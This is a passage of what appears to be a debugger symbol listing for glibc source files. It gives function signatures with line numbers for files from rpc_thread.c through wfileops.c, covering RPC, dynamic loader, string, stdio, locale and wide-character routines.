52: bool_t __GI_xdr_opaque_auth(XDR *, struct opaque_auth *);
104: bool_t __GI_xdr_rejected_reply(XDR *, struct rejected_reply *);
133: bool_t __GI_xdr_replymsg(XDR *, struct rpc_msg *);

File rpc_thread.c:
93: struct rpc_createerr *__GI___rpc_thread_createerr(void);
81: fd_set *__GI___rpc_thread_svc_fdset(void);
121: int *__GI___rpc_thread_svc_max_pollfd(void);
105: struct pollfd **__GI___rpc_thread_svc_pollfd(void);
20: void __rpc_thread_destroy(void);
53: struct rpc_thread_variables *__rpc_thread_variables(void);
46: static void rpc_thread_multi(void);

File rpmatch.c:
53: int rpmatch(const char *);
28: static int try(const char *, const int, const int, const int, const char **, regex_t *);

File rtime.c:
70: int __GI_rtime(struct sockaddr_in *, struct rpc_timeval *, struct rpc_timeval *);

File rtld.c:
837: unsigned int handle_ld_preload(const char *, struct link_map *);
444: static Elf64_Addr _dl_start(void *);
867: static void dl_main(const Elf64_Phdr *, Elf64_Word, Elf64_Addr *, Elf64_auxv_t *);
597: static void dlmopen_doit(void *);
750: static unsigned int do_preload(const char *, struct link_map *, const char *);
121: static _Bool dso_name_valid_for_suid(const char *);
681: static void *init_tls(void);
608: static void lookup_doit(void *);
588: static void map_doit(void *);
2323: static void print_missing_version(int, const char *, const char *);
2699: static void print_statistics(hp_timing_t *);
2312: static void print_unresolved(int, const char *, const char *);
2336: static void process_dl_debug(const char *);
580: static void relocate_doit(void *);
783: static void rtld_lock_default_lock_recursive(void *);
789: static void rtld_lock_default_unlock_recursive(void *);
621: static void version_check_doit(void *);

File ruserpass.c:
93: int __GI_ruserpass(const char *, const char **, const char **);
214: static int token(void);

File sbrk.c:
31: void *__GI___sbrk(intptr_t);

File scandir-cancel.c:
22: void __scandir_cancel_handler(void *);

File scandirat64.c:
23: int scandirat64(int, const char *, struct dirent64 ***, int (*)(const struct dirent64 *), int (*)(const struct dirent64 **, const struct dirent64 **));

File scanf.c:
32: int __scanf(const char *, …);

File sched_cpualloc.c:
23: cpu_set_t *__sched_cpualloc(size_t);

File sched_cpufree.c:
23: void __sched_cpufree(cpu_set_t *);

File scratch_buffer_grow.c:
27: _Bool __GI___libc_scratch_buffer_grow(struct scratch_buffer *);

File scratch_buffer_grow_preserve.c:
28: _Bool __GI___libc_scratch_buffer_grow_preserve(struct scratch_buffer *);

File scratch_buffer_set_array_size.c:
28: _Bool __GI___libc_scratch_buffer_set_array_size(struct scratch_buffer *, size_t, size_t);
28: _Bool __libc_scratch_buffer_set_array_size(struct scratch_buffer *, size_t, size_t);

File secure-getenv.c:
27: char *__GI___libc_secure_getenv(const char *);

File seed48.c:
23: unsigned short *seed48(unsigned short *);

File seed48_r.c:
24: int __seed48_r(unsigned short *, struct drand48_data *);

File set-freeres.c:
34: void __GI___libc_freeres(void);

File setbuf.c:
31: void setbuf(FILE *, char *);

File setenv.c:
116: int __add_to_environ(const char *, const char *, const char *, int);
305: int __clearenv(void);
251: int __setenv(const char *, const char *, int);
263: int __unsetenv(const char *);
324: static void free_mem(void);

File setfpucw.c:
23: void __setfpucw(fpu_control_t);

File setlinebuf.c:
33: void setlinebuf(FILE *);

File setlocale.c:
219: char *__GI_setlocale(int, const char *);
505: void _nl_locale_subfreeres(void);
140: static char *new_composite_name(int, const char **);

File setlogin.c:
23: int setlogin(const char *);

File setpgrp.c:
21: int setpgrp(void);

File setutxent.c:
23: void setutxent(void);

File sgetsgent.c:
32: struct sgrp *sgetsgent(const char *);

File sgetsgent_r.c:
35: int __GI__nss_files_parse_sgent(char *, struct sgrp *, struct parser_data *, size_t, int *);
55: int __sgetsgent_r(const char *, struct sgrp *, char *, size_t, struct sgrp **);

File sgetspent.c:
32: struct spwd *sgetspent(const char *);

File sgetspent_r.c:
36: int __GI__nss_files_parse_spent(char *, struct spwd *, struct parser_data *, size_t, int *);
90: int __sgetspent_r(const char *, struct spwd *, char *, size_t, struct spwd **);

File sigaddset.c:
25: int __GI_sigaddset(sigset_t *, int);

File sigandset.c:
24: int sigandset(sigset_t *, const sigset_t *, const sigset_t *);

File sigdelset.c:
25: int __GI_sigdelset(sigset_t *, int);

File sigempty.c:
24: int __GI_sigemptyset(sigset_t *);

File sigfillset.c:
25: int __GI_sigfillset(sigset_t *);

File siggetmask.c:
22: int siggetmask(void);

File sighold.c:
25: int sighold(int);

File sigisempty.c:
24: int sigisemptyset(const sigset_t *);

File sigismem.c:
24: int __GI_sigismember(const sigset_t *, int);

File sigjmp.c:
27: int __sigjmp_save(struct __jmp_buf_tag *, int);

File sigorset.c:
24: int sigorset(sigset_t *, const sigset_t *, const sigset_t *);

File sigrelse.c:
25: int sigrelse(int);

File sigsetops.c:
37: int __sigaddset(__sigset_t *, int);
46: int __sigdelset(__sigset_t *, int);
29: int __sigismember(const __sigset_t *, int);

File sigvec.c:
67: int __sigvec(int, const struct sigvec *, struct sigvec *);

File snprintf.c:
25: int __GI___snprintf(char *, size_t, const char *, …);

File snprintf_chk.c:
25: int ___snprintf_chk(char *, size_t, int, size_t, const char *, …);

File spawn.c:
25: int __GI___posix_spawn(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char * const *, char * const *);
39: int __posix_spawn_compat(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char * const *, char * const *);

File spawn_faction_addchdir.c:
26: int posix_spawn_file_actions_addchdir_np(posix_spawn_file_actions_t *, const char *);

File spawn_faction_addclose.c:
27: int __posix_spawn_file_actions_addclose(posix_spawn_file_actions_t *, int);

File spawn_faction_adddup2.c:
27: int __posix_spawn_file_actions_adddup2(posix_spawn_file_actions_t *, int, int);

File spawn_faction_addfchdir.c:
26: int posix_spawn_file_actions_addfchdir_np(posix_spawn_file_actions_t *, int);

File spawn_faction_addopen.c:
28: int posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *, int, const char *, int, mode_t);

File spawn_faction_destroy.c:
25: int __posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *);

File spawn_faction_init.c:
48: int __posix_spawn_file_actions_init(posix_spawn_file_actions_t *);
29: int __posix_spawn_file_actions_realloc(posix_spawn_file_actions_t *);

File spawn_valid_fd.c:
24: _Bool __spawn_valid_fd(int);

File spawnattr_destroy.c:
22: int __posix_spawnattr_destroy(posix_spawnattr_t *);

File spawnattr_getdefault.c:
24: int posix_spawnattr_getsigdefault(const posix_spawnattr_t *, sigset_t *);

File spawnattr_getflags.c:
23: int posix_spawnattr_getflags(const posix_spawnattr_t *, short *);

File spawnattr_getpgroup.c:
23: int posix_spawnattr_getpgroup(const posix_spawnattr_t *, pid_t *);

File spawnattr_getschedparam.c:
23: int posix_spawnattr_getschedparam(const posix_spawnattr_t *, struct sched_param *);

File spawnattr_getschedpolicy.c:
23: int posix_spawnattr_getschedpolicy(const posix_spawnattr_t *, int *);

File spawnattr_getsigmask.c:
23: int posix_spawnattr_getsigmask(const posix_spawnattr_t *, sigset_t *);

File spawnattr_init.c:
23: int __posix_spawnattr_init(posix_spawnattr_t *);

File spawnattr_setdefault.c:
23: int __posix_spawnattr_setsigdefault(posix_spawnattr_t *, const sigset_t *);

File spawnattr_setflags.c:
33: int __posix_spawnattr_setflags(posix_spawnattr_t *, short);

File spawnattr_setpgroup.c:
23: int posix_spawnattr_setpgroup(posix_spawnattr_t *, pid_t);

File spawnattr_setschedparam.c:
23: int posix_spawnattr_setschedparam(posix_spawnattr_t *, const struct sched_param *);

File spawnattr_setschedpolicy.c:
23: int posix_spawnattr_setschedpolicy(posix_spawnattr_t *, int);

File spawnattr_setsigmask.c:
23: int __posix_spawnattr_setsigmask(posix_spawnattr_t *, const sigset_t *);

File spawnp.c:
25: int __posix_spawnp(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char * const *, char * const *);
39: int __posix_spawnp_compat(pid_t *, const char *, const posix_spawn_file_actions_t *, const posix_spawnattr_t *, char * const *, char * const *);

File sprintf.c:
24: int __sprintf(char *, const char *, …);

File sprintf_chk.c:
24: int ___sprintf_chk(char *, int, size_t, const char *, …);

File srand48.c:
23: void srand48(long);

File srand48_r.c:
23: int __srand48_r(long, struct drand48_data *);

File sscanf.c:
29: int __sscanf(const char *, const char *, …);

File sstk.c:
26: void *sstk(int);

File stack_chk_fail.c:
27: void __stack_chk_fail(void);

File stpcpy_chk.c:
27: char *__stpcpy_chk(char *, const char *, size_t);

File stpncpy_chk.c:
26: char *__stpncpy_chk(char *, const char *, size_t, size_t);

File str-two-way.h:
118: static size_t critical_factorization(const unsigned char *, size_t, size_t *);
390: static void *two_way_long_needle(const unsigned char *, size_t, const unsigned char *, size_t);

File strcasestr.c:
62: char *__strcasestr(const char *, const char *);

File strcat_chk.c:
24: char *__strcat_chk(char *, const char *, size_t);

File strcoll.c:
32: int __GI_strcoll(const char *, const char *);

File strcoll_l.c:
258: int __GI___strcoll_l(const char *, const char *, locale_t);

File strcpy_chk.c:
26: char *__strcpy_chk(char *, const char *, size_t);

File strdup.c:
39: char *__GI___strdup(const char *);
39: char *__strdup(const char *);

File strerror.c:
29: char *strerror(int);

File strerror_l.c:
60: void __strerror_thread_freeres(void);
41: char *strerror_l(int, locale_t);

File strfmon.c:
27: ssize_t __strfmon(char *, size_t, const char *, …);

File strfmon_l.c:
605: ssize_t ___strfmon_l(char *, size_t, locale_t, const char *, …);
79: ssize_t __vstrfmon_l_internal(char *, size_t, locale_t, const char *, struct __va_list_tag *, unsigned int);

File strfrom-skeleton.c:
37: int strfromd(char *, size_t, const char *, double);
37: int strfromf(char *, size_t, const char *, float);
37: int strfroml(char *, size_t, const char *, long double);

File strfry.c:
24: char *strfry(char *);

File strftime.c:
23: size_t __GI_strftime(char *, size_t, const char *, const struct tm *);

File strftime_l.c:
449: size_t __GI___strftime_l(char *, size_t, const char *, const struct tm *, locale_t);
449: size_t __GI___wcsftime_l(wchar_t *, size_t, const wchar_t *, const struct tm *, locale_t);
468: static size_t __strftime_internal(wchar_t *, size_t, const wchar_t *, const struct tm *, int, _Bool *, locale_t);

File string-inlines.c:
297: void *__old_mempcpy_small(void *, char, __STRING2_COPY_ARR2, __STRING2_COPY_ARR3, __STRING2_COPY_ARR4, __STRING2_COPY_ARR5, __STRING2_COPY_ARR6, __STRING2_COPY_ARR7, __STRING2_COPY_ARR8, size_t);
512: char *__old_stpcpy_small(char *, __STRING2_COPY_ARR2, __STRING2_COPY_ARR3, __STRING2_COPY_ARR4, __STRING2_COPY_ARR5, __STRING2_COPY_ARR6, __STRING2_COPY_ARR7, __STRING2_COPY_ARR8, size_t);
402: char *__old_strcpy_small(char *, __STRING2_COPY_ARR2, __STRING2_COPY_ARR3, __STRING2_COPY_ARR4, __STRING2_COPY_ARR5, __STRING2_COPY_ARR6, __STRING2_COPY_ARR7, __STRING2_COPY_ARR8, size_t);
123: size_t __old_strcspn_c1(const char *, int);
133: size_t __old_strcspn_c2(const char *, int, int);
144: size_t __old_strcspn_c3(const char *, int, int, int);
191: char *__old_strpbrk_c2(const char *, int, int);
201: char *__old_strpbrk_c3(const char *, int, int, int);
55: char *__old_strsep_1c(char **, char);
65: char *__old_strsep_2c(char **, char, char);
92: char *__old_strsep_3c(char **, char, char, char);
156: size_t __old_strspn_c1(const char *, int);
167: size_t __old_strspn_c2(const char *, int, int);
178: size_t __old_strspn_c3(const char *, int, int, int);
31: char *__old_strtok_r_1c(char *, char, char **);

File strncat_chk.c:
24: char *__strncat_chk(char *, const char *, size_t, size_t);

File strncpy_chk.c:
23: char *__strncpy_chk(char *, const char *, size_t, size_t);

File strndup.c:
40: char *__GI___strndup(const char *, size_t);

File strops.c:
161: ssize_t _IO_str_count(FILE *);
344: void _IO_str_finish(FILE *, int);
74: void _IO_str_init_readonly(_IO_strfile *, const char *, int);
68: void _IO_str_init_static(_IO_strfile *, char *, int, char *);
34: void _IO_str_init_static_internal(_IO_strfile *, char *, size_t, char *);
81: int __GI__IO_str_overflow(FILE *, int);
335: int __GI__IO_str_pbackfail(FILE *, int);
248: off64_t __GI__IO_str_seekoff(FILE *, off64_t, int, int);
141: int __GI__IO_str_underflow(FILE *);
170: static int enlarge_userbuf(FILE *, off64_t, int);

File strptime.c:
30: char *__GI_strptime(const char *, const char *, struct tm *);

File strptime_l.c:
241: char *__strptime_internal(const char *, const char *, struct tm *, void *, locale_t);
1245: char *__strptime_l(const char *, const char *, struct tm *, locale_t);
211: static void day_of_the_week(struct tm *);

File strsep.c:
24: char *__GI___strsep(char **, const char *);

File strsignal.c:
41: char *strsignal(int);
92: static void free_key_mem(void *);
80: static void init(void);

File strtod.c:
68: double __GI___strtod_internal(const char *, char **, int);
68: float __GI___strtof_internal(const char *, char **, int);
68: long double __GI___strtold_internal(const char *, char **, int);
81: double __GI_strtod(const char *, char **);
81: float __GI_strtof(const char *, char **);
81: long double __GI_strtold(const char *, char **);

File strtod_l.c:
506: double __GI_____strtod_l_internal(const char *, char **, int, locale_t);
506: float __GI_____strtof_l_internal(const char *, char **, int, locale_t);
1781: double __GI___strtod_l(const char *, char **, locale_t);
1781: float __GI___strtof_l(const char *, char **, locale_t);
214: static double round_and_return(mp_limb_t *, intmax_t, int, mp_limb_t, mp_size_t, int);
365: static const char *str_to_mpn(const char *, int, mp_limb_t *, mp_size_t *, intmax_t *, size_t, const char *, const char *);

File strtok.c:
31: char *strtok(char *, const char *);

File strtok_r.c:
42: char *__GI___strtok_r(char *, const char *, char **);

File strverscmp.c:
42: int __GI___strverscmp(const char *, const char *);

File strxfrm.c:
29: size_t strxfrm(char *, const char *, size_t);

File strxfrm_l.c:
668: size_t __GI___strxfrm_l(char *, const char *, size_t, locale_t);
65: static int utf8_encode(char *, int);

File stty.c:
24: int stty(int, const struct sgttyb *);

File svc.c:
397: void __GI_svc_getreq(int);
458: void __GI_svc_getreq_common(const int);
427: void __GI_svc_getreq_poll(struct pollfd *, int);
408: void __GI_svc_getreqset(fd_set *);
182: bool_t __GI_svc_register(SVCXPRT *, rpcprog_t, rpcvers_t, void (*)(struct svc_req *, SVCXPRT *), rpcproc_t);
252: bool_t __GI_svc_sendreply(SVCXPRT *, xdrproc_t, caddr_t);
226: void __GI_svc_unregister(rpcprog_t, rpcvers_t);
327: void __GI_svcerr_auth(SVCXPRT *, enum auth_stat);
291: void __GI_svcerr_decode(SVCXPRT *);
273: void __GI_svcerr_noproc(SVCXPRT *);
349: void __GI_svcerr_noprog(SVCXPRT *);
363: void __GI_svcerr_progvers(SVCXPRT *, rpcvers_t, rpcvers_t);
309: void __GI_svcerr_systemerr(SVCXPRT *);
341: void __GI_svcerr_weakauth(SVCXPRT *);
86: void __GI_xprt_register(SVCXPRT *);
133: void __GI_xprt_unregister(SVCXPRT *);
565: void __rpc_thread_svc_cleanup(void);
554: void __svc_accept_failed(void);

File svc_auth.c:
96: enum auth_stat __GI__authenticate(struct svc_req *, struct rpc_msg *);
112: static enum auth_stat _svcauth_null(struct svc_req *, struct rpc_msg *);

File svc_authux.c:
144: enum auth_stat _svcauth_short(struct svc_req *, struct rpc_msg *);
48: enum auth_stat _svcauth_unix(struct svc_req *, struct rpc_msg *);

File svc_raw.c:
71: SVCXPRT *__GI_svcraw_create(void);
153: static void svcraw_destroy(SVCXPRT *);
140: static bool_t svcraw_freeargs(SVCXPRT *, xdrproc_t, caddr_t);
130: static bool_t svcraw_getargs(SVCXPRT *, xdrproc_t, caddr_t);
97: static bool_t svcraw_recv(SVCXPRT *, struct rpc_msg *);
113: static bool_t svcraw_reply(SVCXPRT *, struct rpc_msg *);
91: static enum xprt_stat svcraw_stat(SVCXPRT *);

File svc_run.c:
44: void __GI_svc_exit(void);
53: void __GI_svc_run(void);

File svc_simple.c:
63: int __registerrpc(u_long, u_long, u_long, char *(*)(char *), xdrproc_t, xdrproc_t);
122: static void universal(struct svc_req *, SVCXPRT *);

File svc_tcp.c:
216: SVCXPRT *__GI_svcfd_create(int, u_int, u_int);
153: SVCXPRT *__GI_svctcp_create(int, u_int, u_int);
223: static SVCXPRT *makefd_xprt(int, u_int, u_int);
313: static int readtcp(char *, char *, int);
253: static bool_t rendezvous_request(SVCXPRT *, struct rpc_msg *);
280: static enum xprt_stat rendezvous_stat(SVCXPRT *);
286: static void svctcp_destroy(SVCXPRT *);
408: static bool_t svctcp_freeargs(SVCXPRT *, xdrproc_t, caddr_t);
401: static bool_t svctcp_getargs(SVCXPRT *, xdrproc_t, caddr_t);
384: static bool_t svctcp_recv(SVCXPRT *, struct rpc_msg *);
99: static void svctcp_rendezvous_abort(void);
417: static bool_t svctcp_reply(SVCXPRT *, struct rpc_msg *);
371: static enum xprt_stat svctcp_stat(SVCXPRT *);
354: static int writetcp(char *, char *, int);

File svc_udp.c:
122: SVCXPRT *__GI_svcudp_bufcreate(int, u_int, u_int);
207: SVCXPRT *__GI_svcudp_create(int);
474: int __GI_svcudp_enablecache(SVCXPRT *, u_long);
387: static void svcudp_destroy(SVCXPRT *);
378: static bool_t svcudp_freeargs(SVCXPRT *, xdrproc_t, caddr_t);
371: static bool_t svcudp_getargs(SVCXPRT *, xdrproc_t, caddr_t);
225: static bool_t svcudp_recv(SVCXPRT *, struct rpc_msg *);
327: static bool_t svcudp_reply(SVCXPRT *, struct rpc_msg *);
218: static enum xprt_stat svcudp_stat(SVCXPRT *);

File svc_unix.c:
151: SVCXPRT *__GI_svcunix_create(int, u_int, u_int, char *);
212: SVCXPRT *__GI_svcunixfd_create(int, u_int, u_int);
219: static SVCXPRT *makefd_xprt(int, u_int, u_int);
415: static int readunix(char *, char *, int);
249: static bool_t rendezvous_request(SVCXPRT *, struct rpc_msg *);
279: static enum xprt_stat rendezvous_stat(SVCXPRT *);
285: static void svcunix_destroy(SVCXPRT *);
516: static bool_t svcunix_freeargs(SVCXPRT *, xdrproc_t, caddr_t);
509: static bool_t svcunix_getargs(SVCXPRT *, xdrproc_t, caddr_t);
486: static bool_t svcunix_recv(SVCXPRT *, struct rpc_msg *);
99: static void svcunix_rendezvous_abort(void);
525: static bool_t svcunix_reply(SVCXPRT *, struct rpc_msg *);
473: static enum xprt_stat svcunix_stat(SVCXPRT *);
456: static int writeunix(char *, char *, int);

File svcauth_des.c:
496: int __GI_authdes_getucred(const struct authdes_cred *, uid_t *, gid_t *, short *, gid_t *);
105: enum auth_stat _svcauth_des(struct svc_req *, struct rpc_msg *);

File swab.c:
21: void swab(const void *, void *, ssize_t);

File swprintf.c:
25: int __swprintf(wchar_t *, size_t, const wchar_t *, …);

File swprintf_chk.c:
25: int __swprintf_chk(wchar_t *, size_t, int, size_t, const wchar_t *, …);

File swscanf.c:
29: int __swscanf(const wchar_t *, const wchar_t *, …);

File tcgetsid.c:
26: pid_t tcgetsid(int);

File tempnam.c:
29: char *tempnam(const char *, const char *);

File textdomain.c:
64: char *__textdomain(const char *);

File thrd_current.c:
22: thrd_t thrd_current(void);

File thrd_equal.c:
22: int thrd_equal(thrd_t, thrd_t);

File thrd_sleep.c:
25: int thrd_sleep(const struct timespec *, struct timespec *);

File thrd_yield.c:
22: void thrd_yield(void);

File thread-freeres.c:
30: void __libc_thread_freeres(void);

File timegm.c:
29: time_t timegm(struct tm *);

File tmpfile.c:
35: FILE *__new_tmpfile(void);

File tmpnam.c:
27: char *tmpnam(char *);

File tmpnam_r.c:
23: char *tmpnam_r(char *);

File towctrans.c:
25: wint_t __GI___towctrans(wint_t, wctrans_t);

File towctrans_l.c:
26: wint_t __towctrans_l(wint_t, wctrans_t, locale_t);

File tsearch.c:
404: void *__GI___tdelete(const void *, void **, __compar_fn_t);
739: void __GI___tdestroy(void *, __free_fn_t);
372: void *__GI___tfind(const void *, void * const *, __compar_fn_t);
291: void *__GI___tsearch(const void *, void **, __compar_fn_t);
710: void __GI___twalk(const void *, __action_fn_t);
205: static void maybe_split_for_insert(node *, node *, int, int, int, node *);
727: static void tdestroy_recurse(node, __free_fn_t);
687: static void trecurse(const void *, __action_fn_t, int);

File ttyname_r_chk.c:
22: int __ttyname_r_chk(int, char *, size_t, size_t);

File ttyslot.c:
41: int ttyslot(void);

File tzfile.c:
581: void __tzfile_compute(__time_t, int, long *, int *, struct tm *);
493: void __tzfile_default(const char *, const char *, long, long);
100: void __tzfile_read(const char *, size_t, char **);

File tzset.c:
518: void __tz_compute(__time_t, struct tm *, int);
567: struct tm *__tz_convert(__time_t, int, struct tm *);
547: void __tzset(void);
321: void __tzset_parse_tz(const char *);
119: char *__tzstring(const char *);
82: static char *__tzstring_len(const char *, size_t);
430: static void compute_change(tz_rule *, int);
613: static void free_mem(void);
189: static _Bool parse_offset(const char **, int);
229: static _Bool parse_rule(const char **, int);
152: static _Bool parse_tzname(const char **, int);
367: static void tzset_internal(int);

File updwtmpx.c:
23: void updwtmpx(const char *, const struct utmpx *);

File uselocale.c:
29: locale_t __GI___uselocale(locale_t);

File utmpname.c:
38: int __utmpname(const char *);

File utmpxname.c:
23: int utmpxname(const char *);

File valid_field.c:
27: _Bool __nss_valid_field(const char *);

File valid_list_field.c:
27: _Bool __nss_valid_list_field(char **);

File vasprintf.c:
88: int __vasprintf(char **, const char *, struct __va_list_tag *);
32: int __vasprintf_internal(char **, const char *, struct __va_list_tag *, unsigned int);

File vasprintf_chk.c:
30: int __vasprintf_chk(char **, int, const char *, struct __va_list_tag *);

File vdprintf_chk.c:
30: int __vdprintf_chk(int, int, const char *, struct __va_list_tag *);

File version.c:
50: const char *__gnu_get_libc_release(void);
58: const char *__gnu_get_libc_version(void);
69: void __libc_main(void);
43: void __libc_print_version(void);

File vfprintf-internal.c:
1245: int __vfprintf_internal(FILE *, const char *, struct __va_list_tag *, unsigned int);
1245: int __vfwprintf_internal(FILE *, const wchar_t *, struct __va_list_tag *, unsigned int);
2219: static int _IO_helper_overflow(FILE *, int);
2296: static int buffered_vfprintf(FILE *, const char *, struct __va_list_tag *, unsigned int);
2133: static char *group_number(char *, char *, char *, const char *, THOUSANDS_SEP_T);
1705: static int printf_positional(FILE *, const char *, int, struct __va_list_tag *, va_list *, int, int, const unsigned char *, char *, int, const char *, THOUSANDS_SEP_T, unsigned int);

File vfprintf.c:
21: int __vfprintf(FILE *, const char *, struct __va_list_tag *);

File vfprintf_chk.c:
23: int ___vfprintf_chk(FILE *, int, const char *, struct __va_list_tag *);

File vfscanf-internal.c:
275: int __vfscanf_internal(FILE *, const char *, struct __va_list_tag *, unsigned int);
271: int __vfwscanf_internal(FILE *, const wchar_t *, struct __va_list_tag *, unsigned int);
236: static void char_buffer_add_slow(struct char_buffer *, wchar_t);

File vfscanf.c:
26: int ___vfscanf(FILE *, const char *, struct __va_list_tag *);

File vfwprintf.c:
21: int __vfwprintf(FILE *, const wchar_t *, struct __va_list_tag *);

File vfwprintf_chk.c:
23: int __vfwprintf_chk(FILE *, int, const wchar_t *, struct __va_list_tag *);

File vfwscanf.c:
27: int __vfwscanf(FILE *, const wchar_t *, struct __va_list_tag *);

File vlimit.c:
29: int vlimit(enum __vlimit_resource, int);

File vobprintf_chk.c:
23: int __obstack_vprintf_chk(struct obstack *, int, const char *, struct __va_list_tag *);

File vprintf.c:
28: int __vprintf(const char *, struct __va_list_tag *);

File vprintf_chk.c:
23: int ___vprintf_chk(int, const char *, struct __va_list_tag *);

File vscanf.c:
38: int _IO_vscanf(const char *, struct __va_list_tag *);

File vsnprintf.c:
122: int ___vsnprintf(char *, size_t, const char *, struct __va_list_tag *);
93: int __vsnprintf_internal(char *, size_t, const char *, struct __va_list_tag *, unsigned int);
33: static int _IO_strn_overflow(FILE *, int);

File vsnprintf_chk.c:
24: int ___vsnprintf_chk(char *, size_t, int, size_t, const char *, struct __va_list_tag *);

File vsprintf_chk.c:
21: int ___vsprintf_chk(char *, int, size_t, const char *, struct __va_list_tag *);

File vswprintf.c:
125: int __vswprintf(wchar_t *, size_t, const wchar_t *, struct __va_list_tag *);
92: int __vswprintf_internal(wchar_t *, size_t, const wchar_t *, struct __va_list_tag *, unsigned int);
34: static wint_t _IO_wstrn_overflow(FILE *, wint_t);

File vswprintf_chk.c:
24: int __vswprintf_chk(wchar_t *, size_t, int, size_t, const wchar_t *, struct __va_list_tag *);

File vtables.c:
40: void _IO_vtable_check(void);
82: static void check_stdfiles_vtables(void);

File vtimes.c:
56: int vtimes(struct vtimes *, struct vtimes *);
31: static int vtimes_one(struct vtimes *, enum __rusage_who);

File vwprintf.c:
26: int __vwprintf(const wchar_t *, struct __va_list_tag *);

File vwprintf_chk.c:
23: int __vwprintf_chk(int, const wchar_t *, struct __va_list_tag *);

File vwscanf.c:
36: int __vwscanf(const wchar_t *, struct __va_list_tag *);

File wcfuncs.c:
40: int __GI___iswalnum(wint_t);
54: int __GI___iswlower(wint_t);
74: wint_t __GI___towlower(wint_t);
86: wint_t __GI___towupper(wint_t);
44: int __iswalpha(wint_t);
47: int __iswblank(wint_t);
49: int __iswcntrl(wint_t);
51: int __iswdigit(wint_t);
58: int __iswgraph(wint_t);
60: int __iswprint(wint_t);
62: int __iswpunct(wint_t);
64: int __iswspace(wint_t);
67: int __iswupper(wint_t);
69: int __iswxdigit(wint_t);

File wcfuncs_l.c:
41: int __GI___iswalnum_l(wint_t, locale_t);
42: int __GI___iswalpha_l(wint_t, locale_t);
43: int __GI___iswblank_l(wint_t, locale_t);
44: int __GI___iswcntrl_l(wint_t, locale_t);
47: int __GI___iswdigit_l(wint_t, locale_t);
49: int __GI___iswgraph_l(wint_t, locale_t);
48: int __GI___iswlower_l(wint_t, locale_t);
50: int __GI___iswprint_l(wint_t, locale_t);
51: int __GI___iswpunct_l(wint_t, locale_t);
52: int __GI___iswspace_l(wint_t, locale_t);
53: int __GI___iswupper_l(wint_t, locale_t);
54: int __GI___iswxdigit_l(wint_t, locale_t);
57: wint_t __GI___towlower_l(wint_t, locale_t);
67: wint_t __GI___towupper_l(wint_t, locale_t);

File wcpcpy.c:
30: wchar_t *__wcpcpy(wchar_t *, const wchar_t *);

File wcpcpy_chk.c:
28: wchar_t *__wcpcpy_chk(wchar_t *, const wchar_t *, size_t);

File wcpncpy.c:
28: wchar_t *__wcpncpy(wchar_t *, const wchar_t *, size_t);

File wcpncpy_chk.c:
24: wchar_t *__wcpncpy_chk(wchar_t *, const wchar_t *, size_t, size_t);

File wcrtomb.c:
38: size_t __wcrtomb(char *, wchar_t, mbstate_t *);

File wcrtomb_chk.c:
26: size_t __wcrtomb_chk(char *, wchar_t, mbstate_t *, size_t);

File wcscasecmp.c:
47: int __wcscasecmp(const wchar_t *, const wchar_t *);

File wcscat.c:
27: wchar_t *__wcscat(wchar_t *, const wchar_t *);

File wcscat_chk.c:
24: wchar_t *__wcscat_chk(wchar_t *, const wchar_t *, size_t);

File wcschrnul.c:
26: wchar_t *__wcschrnul(const wchar_t *, const wchar_t);

File wcscpy_chk.c:
25: wchar_t *__wcscpy_chk(wchar_t *, const wchar_t *, size_t);

File wcscspn.c:
28: size_t wcscspn(const wchar_t *, const wchar_t *);

File wcsdup.c:
26: wchar_t *wcsdup(const wchar_t *);

File wcsftime.c:
23: size_t __GI_wcsftime(wchar_t *, size_t, const wchar_t *, const struct tm *);

File wcsmbsload.c:
217: void __wcsmbs_clone_conv(struct gconv_fcts *);
82: struct __gconv_step *__wcsmbs_getfct(const char *, const char *, size_t *);
151: void __wcsmbs_load_conv(struct __locale_data *);
237: int __wcsmbs_named_conv(struct gconv_fcts *, const char *);
254: void _nl_cleanup_ctype(struct __locale_data *);

File wcsncase.c:
50: int __wcsncasecmp(const wchar_t *, const wchar_t *, size_t);

File wcsncat.c:
27: wchar_t *wcsncat(wchar_t *, const wchar_t *, size_t);

File wcsncat_chk.c:
24: wchar_t *__wcsncat_chk(wchar_t *, const wchar_t *, size_t, size_t);

File wcsncpy.c:
27: wchar_t *__wcsncpy(wchar_t *, const wchar_t *, size_t);

File wcsncpy_chk.c:
24: wchar_t *__wcsncpy_chk(wchar_t *, const wchar_t *, size_t, size_t);

File wcsnrtombs.c:
40: size_t __wcsnrtombs(char *, const wchar_t **, size_t, size_t, mbstate_t *);

File wcsnrtombs_chk.c:
23: size_t __wcsnrtombs_chk(char *, const wchar_t **, size_t, size_t, mbstate_t *, size_t);

File wcspbrk.c:
27: wchar_t *__GI_wcspbrk(const wchar_t *, const wchar_t *);

File wcsrtombs.c:
38: size_t __wcsrtombs(char *, const wchar_t **, size_t, mbstate_t *);

File wcsrtombs_chk.c:
23: size_t __wcsrtombs_chk(char *, const wchar_t **, size_t, mbstate_t *, size_t);

File wcsspn.c:
28: size_t __GI_wcsspn(const wchar_t *, const wchar_t *);

File wcsstr.c:
32: wchar_t *wcsstr(const wchar_t *, const wchar_t *);

File wcstok.c:
26: wchar_t *wcstok(wchar_t *, const wchar_t *, wchar_t **);

File wcstombs.c:
27: size_t wcstombs(char *, const wchar_t *, size_t);

File wcstombs_chk.c:
24: size_t __wcstombs_chk(char *, const wchar_t *, size_t, size_t);

File wcswidth.c:
24: int wcswidth(const wchar_t *, size_t);

File wctob.c:
30: int wctob(wint_t);

File wctomb.c:
36: int __GI_wctomb(char *, wchar_t);

File wctomb_chk.c:
27: int __wctomb_chk(char *, wchar_t, size_t);

File wctrans.c:
25: wctrans_t __wctrans(const char *);

File wctrans_l.c:
24: wctrans_t __wctrans_l(const char *, locale_t);

File wctype.c:
25: wctype_t __wctype(const char *);

File wctype_l.c:
26: wctype_t __wctype_l(const char *, locale_t);

File wcwidth.c:
23: int wcwidth(wchar_t);

File wfiledoalloc.c:
63: int _IO_wfile_doallocate(FILE *);

File wfileops.c:
39: int __GI__IO_wdo_write(FILE *, const wchar_t *, size_t);
408: wint_t __GI__IO_wfile_overflow(FILE *, wint_t);
744: off64_t __GI__IO_wfile_seekoff(FILE *, off64_t, int, int);
481: wint_t __GI__IO_wfile_sync(FILE *);
